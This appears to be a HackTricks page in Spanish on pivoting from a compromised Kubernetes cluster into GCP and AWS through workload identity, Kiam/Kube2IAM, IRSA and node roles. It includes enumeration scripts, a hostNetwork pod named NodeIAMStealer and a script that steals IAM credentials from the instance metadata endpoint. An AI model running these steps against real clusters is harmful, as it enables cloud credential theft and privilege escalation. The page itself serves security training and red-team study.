Kubernetes Pivoting to Clouds

Aprende y practica Hacking en AWS: HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

GCP

Si estás ejecutando un clúster k8s dentro de GCP, probablemente querrás que alguna aplicación en ejecución dentro del clúster tenga acceso a GCP. Hay 2 formas comunes de hacerlo:

Montar claves de GCP-SA como secreto

Una forma común de dar acceso a una aplicación de Kubernetes a GCP es:

• Crear una Cuenta de Servicio de GCP

• Asignar los permisos deseados a la cuenta

• Descargar una clave json de la SA creada

• Montarla como un secreto dentro de la cápsula

• Establecer la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando al camino donde se encuentra el json.

Por lo tanto, como un atacante, si comprometes un contenedor dentro de una cápsula, debes verificar esa variable de entorno y archivos json con credenciales de GCP.

Relacionar json de GSA con secreto de KSA

Una forma de dar acceso a una GSA a un clúster de GKE es vinculándolos de la siguiente manera:

• Crea una cuenta de servicio de Kubernetes en el mismo espacio de nombres que tu clúster de GKE utilizando el siguiente comando:

Copy codekubectl create serviceaccount <service-account-name>

• Crea un Secreto de Kubernetes que contenga las credenciales de la cuenta de servicio de GCP a la que deseas otorgar acceso al clúster de GKE. Puedes hacer esto utilizando la herramienta de línea de comandos gcloud, como se muestra en el siguiente ejemplo:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Vincula el Secreto de Kubernetes a la cuenta de servicio de Kubernetes usando el siguiente comando:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

En el segundo paso se establecieron las credenciales de la GSA como secreto de la KSA. Entonces, si puedes leer ese secreto desde dentro del clúster GKE, puedes escalar a esa cuenta de servicio de GCP.

Identidad de Carga de Trabajo de GKE

Con la Identidad de Carga de Trabajo, podemos configurar una cuenta de servicio de Kubernetes para actuar como una cuenta de servicio de Google. Las pods que se ejecutan con la cuenta de servicio de Kubernetes se autenticarán automáticamente como la cuenta de servicio de Google al acceder a las API de Google Cloud.

Los primeros pasos para habilitar este comportamiento son habilitar la Identidad de Carga de Trabajo en GCP (pasos) y crear la cuenta de servicio de GCP que deseas que k8s impersone.

• Habilitar la Identidad de Carga de Trabajo en un nuevo clúster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Crear/Actualizar un nuevo nodepool (Los clústeres de Autopilot no necesitan esto)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Crear la Cuenta de Servicio de GCP para hacerse pasar por desde K8s con permisos de GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Conéctate al cluster y crea la cuenta de servicio a utilizar

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Vincular el GSA con el KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• Ejecute un pod con el KSA y verifique el acceso al GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Verifique el siguiente comando para autenticarse en caso necesario:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Como atacante dentro de K8s, debes buscar SAs con la anotación iam.gke.io/gcp-service-account ya que indica que el SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el clúster y verificar si tiene acceso. Desde GCP siempre es interesante enumerar los enlaces y saber a qué acceso estás dando a los SAs dentro de Kubernetes.

Este es un script para iterar fácilmente sobre todas las definiciones de los pods buscando esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Una forma (obsoleta) de asignar roles IAM a los Pods es utilizar un Kiam o un Kube2IAM servidor. Básicamente necesitarás ejecutar un daemonset en tu clúster con un tipo de rol IAM privilegiado. Este daemonset será el encargado de otorgar acceso a los roles IAM a los pods que lo necesiten.

En primer lugar, necesitas configurar qué roles pueden ser accedidos dentro del espacio de nombres, y lo haces con una anotación dentro del objeto de espacio de nombres:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una vez que el espacio de nombres esté configurado con los roles IAM que los Pods pueden tener, puedes indicar el rol que deseas en cada definición de pod con algo como:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Como atacante, si encuentras estas anotaciones en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes hacerte pasar por cualquier rol que ya esté usado por los pods y más (si tienes acceso a la cuenta de AWS, enumera los roles).

Crear Pod con Rol IAM

El rol IAM a indicar debe estar en la misma cuenta de AWS que el rol kiam/kube2iam y ese rol debe poder acceder a él.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Rol de IAM para Cuentas de Servicio de K8s a través de OIDC

Este es el método recomendado por AWS.

1. En primer lugar, necesitas crear un proveedor OIDC para el clúster.

2. Luego creas un rol de IAM con los permisos que la SA requerirá.

3. Crea una relación de confianza entre el rol de IAM y la SA nombre (o los espacios de nombres que otorgan acceso al rol a todas las SAs del espacio de nombres). La relación de confianza verificará principalmente el nombre del proveedor OIDC, el nombre del espacio de nombres y el nombre de la SA.

4. Finalmente, crea una SA con una anotación que indique el ARN del rol, y los pods que se ejecuten con esa SA tendrán acceso al token del rol. El token está escrito dentro de un archivo y la ruta se especifica en AWS_WEB_IDENTITY_TOKEN_FILE (predeterminado: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Para obtener aws usando el token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token, ejecuta:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Como atacante, si puedes enumerar un clúster de K8s, verifica las cuentas de servicio con esa anotación para escalar a AWS. Para hacerlo, simplemente ejecuta/crea un pod utilizando una de las cuentas de servicio privilegiadas de IAM y roba el token.

Además, si estás dentro de un pod, verifica variables de entorno como AWS_ROLE_ARN y AWS_WEB_IDENTITY_TOKEN.

A veces la Política de Confianza de un rol puede estar mal configurada y en lugar de dar acceso AssumeRole a la cuenta de servicio esperada, lo da a todas las cuentas de servicio. Por lo tanto, si eres capaz de escribir una anotación en una cuenta de servicio controlada, puedes acceder al rol.

Consulta la siguiente página para más información:

AWS - Federation Abuse

Encontrar Pods y SAs con Roles de IAM en el Clúster

Este es un script para iterar fácilmente sobre todos los pods y definiciones de sas buscando esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Rol IAM del Nodo

La sección anterior trataba sobre cómo robar Roles IAM con pods, pero ten en cuenta que un Nodo del clúster de K8s va a ser una instancia dentro de la nube. Esto significa que es altamente probable que el Nodo vaya a tener un nuevo rol IAM que puedes robar (nota que usualmente todos los nodos de un clúster de K8s tendrán el mismo rol IAM, por lo que puede que no valga la pena intentar verificar en cada nodo).

Sin embargo, hay un requisito importante para acceder al punto final de metadatos desde el nodo, necesitas estar en el nodo (¿sesión ssh?) o al menos tener la misma red:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Robar Token de Rol IAM

Anteriormente hemos discutido cómo adjuntar Roles IAM a Pods o incluso cómo escapar al Nodo para robar el Rol IAM que la instancia tiene adjunto a ella.

Puedes usar el siguiente script para robar las nuevas credenciales de rol IAM en las que has trabajado arduamente:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referencias

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.